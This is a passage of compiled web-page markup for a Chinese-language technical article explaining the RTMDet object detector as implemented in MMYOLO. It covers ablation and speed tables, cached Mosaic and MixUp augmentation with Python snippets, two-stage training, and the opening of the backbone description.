\u7531 tiny/s/m/l/x \u4e00\u7cfb\u5217\u4e0d\u540c\u5927\u5c0f\u7684\u6a21\u578b\u7ec4\u6210\uff0c\u4e3a\u4e0d\u540c\u7684\u5e94\u7528\u573a\u666f\u63d0\u4f9b\u4e86\u4e0d\u540c\u7684\u9009\u62e9\u3002\n\u5176\u4e2d\uff0cRTMDet-x \u5728 52.6 mAP \u7684\u7cbe\u5ea6\u4e0b\u8fbe\u5230\u4e86 300+ FPS \u7684\u63a8\u7406\u901f\u5ea6\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{note}",children:"\u6ce8\uff1a\u63a8\u7406\u901f\u5ea6\u548c\u7cbe\u5ea6\u6d4b\u8bd5\uff08\u4e0d\u5305\u542b NMS\uff09\u662f\u5728 1 \u5757 NVIDIA 3090 GPU \u4e0a\u7684 `TensorRT 8.4.3, cuDNN 8.2.0, FP16, batch size=1` \u6761\u4ef6\u91cc\u6d4b\u8bd5\u7684\u3002\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u800c\u6700\u8f7b\u91cf\u7684\u6a21\u578b RTMDet-tiny\uff0c\u5728\u4ec5\u6709 4M \u53c2\u6570\u91cf\u7684\u60c5\u51b5\u4e0b\u4e5f\u80fd\u591f\u8fbe\u5230 40.9 mAP\uff0c\u4e14\u63a8\u7406\u901f\u5ea6 < 1 ms\u3002"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{alt:"RTMDet_\u7cbe\u5ea6\u56fe",src:"https://user-images.githubusercontent.com/12907710/192182907-f9a671d6-89cb-4d73-abd8-c2b9dada3c66.png"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u4e0a\u56fe\u4e2d\u7684\u7cbe\u5ea6\u662f\u548c 300 epoch \u8bad\u7ec3\u4e0b\u7684\u516c\u5e73\u5bf9\u6bd4\uff0c\u4e3a\u4e0d\u4f7f\u7528\u84b8\u998f\u7684\u7ed3\u679c\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{}),(0,l.jsx)(n.th,{children:"mAP"}),(0,l.jsx)(n.th,{children:"Params"}),(0,l.jsx)(n.th,{children:"Flops"}),(0,l.jsx)(n.th,{children:"Inference speed"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Baseline(YOLOX)"}),(0,l.jsx)(n.td,{children:"40.2"}),(0,l.jsx)(n.td,{children:"9M"}),(0,l.jsx)(n.td,{children:"13.4G"}),(0,l.jsx)(n.td,{children:"1.2ms"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"+ AdamW + Flat Cosine"}),(0,l.jsx)(n.td,{children:"40.6 (+0.4)"}),(0,l.jsx)(n.td,{children:"9M"}),(0,l.jsx)(n.td,{children:"13.4G"}),(0,l.jsx)(n.td,{children:"1.2ms"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"+ CSPNeXt backbone & PAFPN"}),(0,l.jsx)(n.td,{children:"41.8 (+1.2)"}),(0,l.jsx)(n.td,{children:"10.07M (+1.07)"}),(0,l.jsx)(n.td,{children:"14.8G (+1.4)"}),(0,l.jsx)(n.td,{children:"1.22ms (+0.02)"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"+ SepBNHead"}),(0,l.jsx)(n.td,{children:"41.8 (+0)"}),(0,l.jsx)(n.td,{children:"8.89M (-1.18)"}),(0,l.jsx)(n.td,{children:"14.8G"}),(0,l.jsx)(n.td,{children:"1.22ms"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"+ Label Assign & Loss"}),(0,l.jsx)(n.td,{children:"42.9 (+1.1)"}),(0,l.jsx)(n.td,{children:"8.89M"}),(0,l.jsx)(n.td,{children:"14.8G"}),(0,l.jsx)(n.td,{children:"1.22ms"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"+ Cached Mosaic & MixUp"}),(0,l.jsx)(n.td,{children:"44.2 (+1.3)"}),(0,l.jsx)(n.td,{children:"8.89M"}),(0,l.jsx)(n.td,{children:"14.8G"}),(0,l.jsx)(n.td,{children:"1.22ms"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"+ RSB-pretrained backbone"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"44.5 (+0.3)"})}),(0,l.jsx)(n.td,{children:"8.89M"}),(0,l.jsx)(n.td,{children:"14.8G"}),(0,l.jsx)(n.td,{children:"1.22ms"})]})]})]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\u5b98\u65b9\u5f00\u6e90\u5730\u5740\uff1a ",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmdetection/blob/3.x/configs/rtmdet/README.md",children:"https://github.com/open-mmlab/mmdetection/blob/3.x/configs/rtmdet/README.md"})]}),"\n",(0,l.jsxs)(n.li,{children:["MMYOLO \u5f00\u6e90\u5730\u5740\uff1a ",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/configs/rtmdet/README.md",children:"https://github.com/open-mmlab/mmyolo/blob/main/configs/rtmdet/README.md"})]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"1-v10-\u7b97\u6cd5\u539f\u7406\u548c-mmyolo-\u5b9e\u73b0\u89e3\u6790",children:"1 v1.0 \u7b97\u6cd5\u539f\u7406\u548c MMYOLO \u5b9e\u73b0\u89e3\u6790"}),"\n",(0,l.jsx)(n.h3,{id:"11-\u6570\u636e\u589e\u5f3a\u6a21\u5757",children:"1.1 \u6570\u636e\u589e\u5f3a\u6a21\u5757"}),"\n",(0,l.jsx)(n.p,{children:"RTMDet \u91c7\u7528\u4e86\u591a\u79cd\u6570\u636e\u589e\u5f3a\u7684\u65b9\u5f0f\u6765\u589e\u52a0\u6a21\u578b\u7684\u6027\u80fd\uff0c\u4e3b\u8981\u5305\u62ec\u5355\u56fe\u6570\u636e\u589e\u5f3a:"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.strong,{children:"RandomResize \u968f\u673a\u5c3a\u5ea6\u53d8\u6362"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.strong,{children:"RandomCrop \u968f\u673a\u88c1\u526a"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.strong,{children:"HSVRandomAug \u989c\u8272\u7a7a\u95f4\u589e\u5f3a"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.strong,{children:"RandomFlip \u968f\u673a\u6c34\u5e73\u7ffb\u8f6c"})}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u4ee5\u53ca\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\uff1a"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.strong,{children:"Mosaic \u9a6c\u8d5b\u514b"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.strong,{children:"MixUp \u56fe\u50cf\u6df7\u5408"})}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u6570\u636e\u589e\u5f3a\u6d41\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{alt:"image",src:"https://user-images.githubusercontent.com/33799979/192956011-78f89d89-ac9f-4a40-b4f1-056b49b704ef.png",width:"800"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u5176\u4e2d RandomResize \u8d85\u53c2\u5728\u5927\u6a21\u578b M,L,X \u548c\u5c0f\u6a21\u578b S, Tiny \u4e0a\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u5927\u6a21\u578b\u7531\u4e8e\u53c2\u6570\u8f83\u591a\uff0c\u53ef\u4ee5\u4f7f\u7528 large scale jitter \u7b56\u7565\u5373\u53c2\u6570\u4e3a (0.1,2.0)\uff0c\u800c\u5c0f\u6a21\u578b\u91c7\u7528 stand scale jitter \u7b56\u7565\u5373 (0.5, 2.0) \u7b56\u7565\u3002\nMMDetection \u5f00\u6e90\u5e93\u4e2d\u5df2\u7ecf\u5bf9\u5355\u56fe\u6570\u636e\u589e\u5f3a\u8fdb\u884c\u4e86\u5c01\u88c5\uff0c\u7528\u6237\u901a\u8fc7\u7b80\u5355\u7684\u4fee\u6539\u914d\u7f6e\u5373\u53ef\u4f7f\u7528\u5e93\u4e2d\u63d0\u4f9b\u7684\u4efb\u4f55\u6570\u636e\u589e\u5f3a\u529f\u80fd\uff0c\u4e14\u90fd\u662f\u5c5e\u4e8e\u6bd4\u8f83\u5e38\u89c4\u7684\u6570\u636e\u589e\u5f3a\uff0c\u4e0d\u9700\u8981\u7279\u6b8a\u4ecb\u7ecd\u3002\u4e0b\u9762\u5c06\u5177\u4f53\u4ecb\u7ecd\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\u7684\u5177\u4f53\u5b9e\u73b0\u3002"}),"\n",(0,l.jsxs)(n.p,{children:["\u4e0e YOLOv5 \u4e0d\u540c\u7684\u662f\uff0cYOLOv5 \u8ba4\u4e3a\u5728 S \u548c Nano \u6a21\u578b\u4e0a\u4f7f\u7528 MixUp \u662f\u8fc7\u5269\u7684\uff0c\u5c0f\u6a21\u578b\u4e0d\u9700\u8981\u8fd9\u4e48\u5f3a\u7684\u6570\u636e\u589e\u5f3a\u3002\u800c RTMDet \u5728 S \u548c Tiny \u4e0a\u4e5f\u4f7f\u7528\u4e86 MixUp\uff0c\u8fd9\u662f\u56e0\u4e3a RTMDet \u5728\u6700\u540e 20 epoch \u4f1a\u5207\u6362\u4e3a\u6b63\u5e38\u7684 aug\uff0c \u5e76\u901a\u8fc7\u8bad\u7ec3\u8bc1\u660e\u8fd9\u4e2a\u64cd\u4f5c\u662f\u6709\u6548\u7684\u3002 \u5e76\u4e14 RTMDet \u4e3a\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\u5f15\u5165\u4e86 Cache \u65b9\u6848\uff0c\u6709\u6548\u5730\u51cf\u5c11\u4e86\u56fe\u50cf\u5904\u7406\u7684\u65f6\u95f4, \u548c\u5f15\u5165\u4e86\u53ef\u8c03\u8d85\u53c2 ",(0,l.jsx)(n.code,{children:"max_cached_images"})," \uff0c\u5f53\u4f7f\u7528\u8f83\u5c0f\u7684 cache \u65f6\uff0c\u5176\u6548\u679c\u7c7b\u4f3c ",(0,l.jsx)(n.code,{children:"repeated augmentation"}),"\u3002\u5177\u4f53\u4ecb\u7ecd\u5982\u4e0b\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{}),(0,l.jsx)(n.th,{children:"Use cache"}),(0,l.jsx)(n.th,{children:"ms / 100 imgs"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Mosaic"}),(0,l.jsx)(n.td,{}),(0,l.jsx)(n.td,{children:"87.1"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Mosaic"}),(0,l.jsx)(n.td,{children:"\u221a"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"24.0"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"MixUp"}),(0,l.jsx)(n.td,{}),(0,l.jsx)(n.td,{children:"19.3"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"MixUp"}),(0,l.jsx)(n.td,{children:"\u221a"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"12.4"})})]})]})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{}),(0,l.jsx)(n.th,{children:"RTMDet-s"}),(0,l.jsx)(n.th,{children:"RTMDet-l"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Mosaic + MixUp + 20e finetune"}),(0,l.jsx)(n.td,{children:"43.9"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"51.3"})})]})})]}),"\n",(0,l.jsx)(n.h4,{id:"111-\u4e3a\u56fe\u50cf\u6df7\u5408\u6570\u636e\u589e\u5f3a\u5f15\u5165-cache",children:"1.1.1 \u4e3a\u56fe\u50cf\u6df7\u5408\u6570\u636e\u589e\u5f3a\u5f15\u5165 Cache"}),"\n",(0,l.jsx)(n.p,{children:"Mosaic&MixUp \u6d89\u53ca\u5230\u591a\u5f20\u56fe\u7247\u7684\u6df7\u5408\uff0c\u5b83\u4eec\u7684\u8017\u65f6\u4f1a\u662f\u666e\u901a\u6570\u636e\u589e\u5f3a\u7684 K \u500d(K \u4e3a\u6df7\u5165\u56fe\u7247\u7684\u6570\u91cf)\u3002 \u5982\u5728 YOLOv5 \u4e2d\uff0c\u6bcf\u6b21\u505a Mosaic \u65f6\uff0c 4 \u5f20\u56fe\u7247\u7684\u4fe1\u606f\u90fd\u9700\u8981\u4ece\u786c\u76d8\u4e2d\u91cd\u65b0\u52a0\u8f7d\u3002 \u800c RTMDet \u53ea\u9700\u8981\u91cd\u65b0\u8f7d\u5165\u5f53\u524d\u7684\u4e00\u5f20\u56fe\u7247\uff0c\u5176\u4f59\u53c2\u4e0e\u6df7\u5408\u589e\u5f3a\u7684\u56fe\u7247\u5219\u4ece\u7f13\u5b58\u961f\u5217\u4e2d\u83b7\u53d6\uff0c\u901a\u8fc7\u727a\u7272\u4e00\u5b9a\u5185\u5b58\u7a7a\u95f4\u7684\u65b9\u5f0f\u5927\u5e45\u63d0\u5347\u4e86\u6548\u7387\u3002 \u53e6\u5916\u901a\u8fc7\u8c03\u6574 cache \u7684\u5927\u5c0f\u4ee5\u53ca pop \u7684\u65b9\u5f0f\uff0c\u4e5f\u53ef\u4ee5\u8c03\u6574\u589e\u5f3a\u7684\u5f3a\u5ea6\u3002"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{alt:"data cache",src:"https://user-images.githubusercontent.com/33799979/192730011-90e2a28d-e163-4399-bf87-d3012007d8c3.png",width:"800"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u56fe\u6240\u793a\uff0ccache \u961f\u5217\u4e2d\u9884\u5148\u50a8\u5b58\u4e86 N \u5f20\u5df2\u52a0\u8f7d\u7684\u56fe\u50cf\u4e0e\u6807\u7b7e\u6570\u636e\uff0c\u6bcf\u4e00\u4e2a\u8bad\u7ec3 step \u4e2d\u53ea\u9700\u52a0\u8f7d\u4e00\u5f20\u65b0\u7684\u56fe\u7247\u53ca\u5176\u6807\u7b7e\u6570\u636e\u5e76\u66f4\u65b0\u5230 cache \u961f\u5217\u4e2d(cache \u961f\u5217\u4e2d\u7684\u56fe\u50cf\u53ef\u91cd\u590d\uff0c\u5982\u56fe\u4e2d\u51fa\u73b0\u4e24\u6b21 img3)\uff0c\u540c\u65f6\u5982\u679c cache \u961f\u5217\u957f\u5ea6\u8d85\u8fc7\u9884\u8bbe\u957f\u5ea6\uff0c\u5219\u968f\u673a pop \u4e00\u5f20\u56fe\uff08\u4e3a\u4e86 Tiny \u6a21\u578b\u8bad\u7ec3\u66f4\u7a33\u5b9a\uff0c\u5728 Tiny \u6a21\u578b\u4e2d\u4e0d\u91c7\u7528\u968f\u673a pop \u7684\u65b9\u5f0f, \u800c\u662f\u79fb\u9664\u6700\u5148\u52a0\u5165\u7684\u56fe\u7247\uff09\uff0c\u5f53\u9700\u8981\u8fdb\u884c\u6df7\u5408\u6570\u636e\u589e\u5f3a\u65f6\uff0c\u53ea\u9700\u8981\u4ece cache \u4e2d\u968f\u673a\u9009\u62e9\u9700\u8981\u7684\u56fe\u50cf\u8fdb\u884c\u62fc\u63a5\u7b49\u5904\u7406\uff0c\u800c\u4e0d\u9700\u8981\u5168\u90e8\u4ece\u786c\u76d8\u4e2d\u52a0\u8f7d\uff0c\u8282\u7701\u4e86\u56fe\u50cf\u52a0\u8f7d\u7684\u65f6\u95f4\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{note}",children:"cache \u961f\u5217\u7684\u6700\u5927\u957f\u5ea6 N \u4e3a\u53ef\u8c03\u6574\u53c2\u6570\uff0c\u6839\u636e\u7ecf\u9a8c\u6027\u7684\u539f\u5219\uff0c\u5f53\u4e3a\u6bcf\u4e00\u5f20\u9700\u8981\u6df7\u5408\u7684\u56fe\u7247\u63d0\u4f9b\u5341\u4e2a\u7f13\u5b58\u65f6\uff0c\u53ef\u4ee5\u8ba4\u4e3a\u63d0\u4f9b\u4e86\u8db3\u591f\u7684\u968f\u673a\u6027\uff0c\u800c Mosaic \u589e\u5f3a\u662f\u56db\u5f20\u56fe\u6df7\u5408\uff0c\u56e0\u6b64 cache \u6570\u91cf\u9ed8\u8ba4 N=40\uff0c \u540c\u7406 MixUp \u7684 cache \u6570\u91cf\u9ed8\u8ba4\u4e3a20\uff0c tiny \u6a21\u578b\u9700\u8981\u66f4\u7a33\u5b9a\u7684\u8bad\u7ec3\u6761\u4ef6\uff0c\u56e0\u6b64\u5176 cache \u6570\u91cf\u4e5f\u4e3a\u5176\u4f59\u89c4\u683c\u6a21\u578b\u7684\u4e00\u534a\uff08 MixUp \u4e3a10\uff0cMosaic \u4e3a20\uff09\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5728\u5177\u4f53\u5b9e\u73b0\u4e2d\uff0cMMYOLO \u8bbe\u8ba1\u4e86 ",(0,l.jsx)(n.code,{children:"BaseMiximageTransform"})," \u7c7b\u6765\u652f\u6301\u591a\u5f20\u56fe\u50cf\u6df7\u5408\u6570\u636e\u589e\u5f3a\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"if self.use_cached:\n # Be careful: deep copying can be very time-consuming\n # if results includes dataset.\n dataset = results.pop('dataset', None)\n self.results_cache.append(copy.deepcopy(results)) # \u5c06\u5f53\u524d\u52a0\u8f7d\u7684\u56fe\u7247\u6570\u636e\u7f13\u5b58\u5230 cache \u4e2d\n if len(self.results_cache) > self.max_cached_images:\n if self.random_pop: # \u9664\u4e86tiny\u6a21\u578b\uff0cself.random_pop=True\n index = random.randint(0, len(self.results_cache) - 1)\n else:\n index = 0\n self.results_cache.pop(index)\n\n if len(self.results_cache) <= 4:\n return results\nelse:\n assert 'dataset' in results\n # Be careful: deep copying can be very time-consuming\n # if results includes dataset.\n dataset = results.pop('dataset', None)\n"})}),"\n",(0,l.jsx)(n.h4,{id:"112-mosaic",children:"1.1.2 Mosaic"}),"\n",(0,l.jsx)(n.p,{children:"Mosaic \u662f\u5c06 4 \u5f20\u56fe\u62fc\u63a5\u4e3a 1 \u5f20\u5927\u56fe\uff0c\u76f8\u5f53\u4e8e\u53d8\u76f8\u7684\u589e\u52a0\u4e86 batch size\uff0c\u5177\u4f53\u6b65\u9aa4\u4e3a\uff1a"}),"\n",(0,l.jsxs)(n.ol,{children:["\n",(0,l.jsx)(n.li,{children:"\u6839\u636e\u7d22\u5f15\u968f\u673a\u4ece\u81ea\u5b9a\u4e49\u6570\u636e\u96c6\u4e2d\u518d\u91c7\u68373\u4e2a\u56fe\u50cf\uff0c\u53ef\u80fd\u91cd\u590d"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:'def get_indexes(self, dataset: Union[BaseDataset, list]) -> list:\n """Call function to collect indexes.\n\n Args:\n dataset (:obj:`Dataset` or list): The dataset or cached list.\n\n Returns:\n list: indexes.\n """\n indexes = [random.randint(0, len(dataset)) for _ in range(3)]\n return indexes\n'})}),"\n",(0,l.jsxs)(n.ol,{start:"2",children:["\n",(0,l.jsx)(n.li,{children:"\u968f\u673a\u9009\u51fa 4 \u5e45\u56fe\u50cf\u76f8\u4ea4\u7684\u4e2d\u70b9\u3002"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"# mosaic center x, y\ncenter_x = int(\n random.uniform(*self.center_ratio_range) * self.img_scale[1])\ncenter_y = int(\n random.uniform(*self.center_ratio_range) * self.img_scale[0])\ncenter_position = (center_x, center_y)\n"})}),"\n",(0,l.jsxs)(n.ol,{start:"3",children:["\n",(0,l.jsxs)(n.li,{children:["\u6839\u636e\u91c7\u6837\u7684 index \u8bfb\u53d6\u56fe\u7247\u5e76\u62fc\u63a5, \u62fc\u63a5\u524d\u4f1a\u5148\u8fdb\u884c ",(0,l.jsx)(n.code,{children:"keep-ratio"})," \u7684 resize \u56fe\u7247(\u5373\u4e3a\u6700\u5927\u8fb9\u4e00\u5b9a\u662f 640)\u3002"]}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"# keep_ratio resize\nscale_ratio_i = min(self.img_scale[0] / h_i,\n self.img_scale[1] / w_i)\nimg_i = mmcv.imresize(\n img_i, (int(w_i * scale_ratio_i), int(h_i * scale_ratio_i)))\n"})}),"\n",(0,l.jsxs)(n.ol,{start:"4",children:["\n",(0,l.jsx)(n.li,{children:"\u62fc\u63a5\u540e\uff0c\u628a bbox \u548c label \u5168\u90e8\u62fc\u63a5\u8d77\u6765\uff0c\u7136\u540e\u5bf9 bbox \u8fdb\u884c\u88c1\u526a\u4f46\u662f\u4e0d\u8fc7\u6ee4(\u53ef\u80fd\u51fa\u73b0\u4e00\u4e9b\u65e0\u6548\u6846)"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"mosaic_bboxes.clip_([2 * self.img_scale[0], 2 * self.img_scale[1]])\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u66f4\u591a\u7684\u5173\u4e8e Mosaic \u539f\u7406\u7684\u8be6\u60c5\u53ef\u4ee5\u53c2\u8003 ",(0,l.jsx)(n.a,{href:"/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E5%8D%81%E7%AB%A0/YOLO%E7%B3%BB%E5%88%97%E8%A7%A3%E8%AF%BB/MMYOLO%E5%AE%9E%E7%8E%B0/yolov5_description",children:"YOLOv5 \u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"})," \u4e2d\u7684 Mosaic \u539f\u7406\u5206\u6790\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"113-mixup",children:"1.1.3 MixUp"}),"\n",(0,l.jsx)(n.p,{children:"RTMDet \u7684 MixUp \u5b9e\u73b0\u65b9\u5f0f\u4e0e YOLOX \u4e2d\u4e00\u6837\uff0c\u53ea\u4e0d\u8fc7\u589e\u52a0\u4e86\u7c7b\u4f3c\u4e0a\u6587\u4e2d\u63d0\u5230\u7684 cache \u529f\u80fd\u3002"}),"\n",(0,l.jsxs)(n.p,{children:["\u66f4\u591a\u7684\u5173\u4e8e MixUp \u539f\u7406\u7684\u8be6\u60c5\u4e5f\u53ef\u4ee5\u53c2\u8003 ",(0,l.jsx)(n.a,{href:"/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E5%8D%81%E7%AB%A0/YOLO%E7%B3%BB%E5%88%97%E8%A7%A3%E8%AF%BB/MMYOLO%E5%AE%9E%E7%8E%B0/yolov5_description",children:"YOLOv5 \u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"})," \u4e2d\u7684 MixUp \u539f\u7406\u5206\u6790\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"114-\u5f3a\u5f31\u4e24\u9636\u6bb5\u8bad\u7ec3",children:"1.1.4 \u5f3a\u5f31\u4e24\u9636\u6bb5\u8bad\u7ec3"}),"\n",(0,l.jsx)(n.p,{children:"Mosaic+MixUp \u5931\u771f\u5ea6\u6bd4\u8f83\u9ad8\uff0c\u6301\u7eed\u7528\u592a\u5f3a\u7684\u6570\u636e\u589e\u5f3a\u5bf9\u6a21\u578b\u5e76\u4e0d\u4e00\u5b9a\u6709\u76ca\u3002YOLOX \u4e2d\u7387\u5148\u4f7f\u7528\u4e86\u5f3a\u5f31\u4e24\u9636\u6bb5\u7684\u8bad\u5ddd\u7ec3\u65b9\u5f0f\uff0c\u4f46\u7531\u4e8e\u5f15\u5165\u4e86\u65cb\u8f6c\uff0c\u5207\u7247\u5bfc\u81f4 box \u6807\u6ce8\u4ea7\u751f\u8bef\u5dee\uff0c\u9700\u8981\u5728\u7b2c\u4e8c\u9636\u6bb5\u5f15\u5165\u989d\u5916\u7684 L1oss \u6765\u7ea0\u6b63\u56de\u5f52\u5206\u652f\u7684\u6027\u80fd\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u4e3a\u4e86\u4f7f\u6570\u636e\u589e\u5f3a\u7684\u65b9\u5f0f\u66f4\u4e3a\u901a\u7528\uff0cRTMDet \u5728\u524d 280 epoch \u4f7f\u7528\u4e0d\u5e26\u65cb\u8f6c\u7684 Mosaic+MixUp, \u4e14\u901a\u8fc7\u6df7\u5165 8 \u5f20\u56fe\u7247\u6765\u63d0\u5347\u5f3a\u5ea6\u4ee5\u53ca\u6b63\u6837\u672c\u6570\u3002\u540e 20 epoch \u4f7f\u7528\u6bd4\u8f83\u5c0f\u7684\u5b66\u4e60\u7387\u5728\u6bd4\u8f83\u5f31\u7684\u589e\u5f3a\u4e0b\u8fdb\u884c\u5fae\u8c03\uff0c\u540c\u65f6\u5728 EMA \u7684\u4f5c\u7528\u4e0b\u5c06\u53c2\u6570\u7f13\u6162\u66f4\u65b0\u81f3\u6a21\u578b\uff0c\u80fd\u591f\u5f97\u5230\u6bd4\u8f83\u5927\u7684\u63d0\u5347\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{}),(0,l.jsx)(n.th,{children:"RTMDet-s"}),(0,l.jsx)(n.th,{children:"RTMDet-l"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"LSJ + rand crop"}),(0,l.jsx)(n.td,{children:"42.3"}),(0,l.jsx)(n.td,{children:"46.7"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Mosaic+MixUp"}),(0,l.jsx)(n.td,{children:"41.9"}),(0,l.jsx)(n.td,{children:"49.8"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Mosaic + MixUp + 20e finetune"}),(0,l.jsx)(n.td,{children:"43.9"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"51.3"})})]})]})]}),"\n",(0,l.jsx)(n.h3,{id:"12-\u6a21\u578b\u7ed3\u6784",children:"1.2 \u6a21\u578b\u7ed3\u6784"}),"\n",(0,l.jsxs)(n.p,{children:["RTMDet \u6a21\u578b\u6574\u4f53\u7ed3\u6784\u548c ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2107.08430",children:"YOLOX"})," \u51e0\u4e4e\u4e00\u81f4\uff0c\u7531 ",(0,l.jsx)(n.code,{children:"CSPNeXt"})," + ",(0,l.jsx)(n.code,{children:"CSPNeXtPAFPN"})," + ",(0,l.jsx)(n.code,{children:"\u5171\u4eab\u5377\u79ef\u6743\u91cd\u4f46\u5206\u522b\u8ba1\u7b97 BN \u7684 SepBNHead"})," \u6784\u6210\u3002\u5185\u90e8\u6838\u5fc3\u6a21\u5757\u4e5f\u662f ",(0,l.jsx)(n.code,{children:"CSPLayer"}),"\uff0c\u4f46\u5bf9\u5176\u4e2d\u7684 ",(0,l.jsx)(n.code,{children:"Basic Block"})," \u8fdb\u884c\u4e86\u6539\u8fdb\uff0c\u63d0\u51fa\u4e86 ",(0,l.jsx)(n.code,{children:"CSPNeXt Block"}),"\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"121-backbone",children:"1.2.1 Backbone"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"CSPNeXt"})," \u6574\u4f53\u4ee5 ",(0,l.jsx)(n.code,{children:"CSPDarknet"})," \u4e3a\u57fa\u7840\uff0c\u5171 5 \u5c42\u7ed3\u6784\uff0c\u5305\u542b 1 \u4e2a ",(0,l.jsx)(n.code,{children:"Stem Layer"})," \u548c 4 \u4e2a ",(0,l.jsx)(n.code,{children:"Stage Layer"}),"\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"Stem Layer"})," \u662f 3 \u5c42 3x3 kernel \u7684 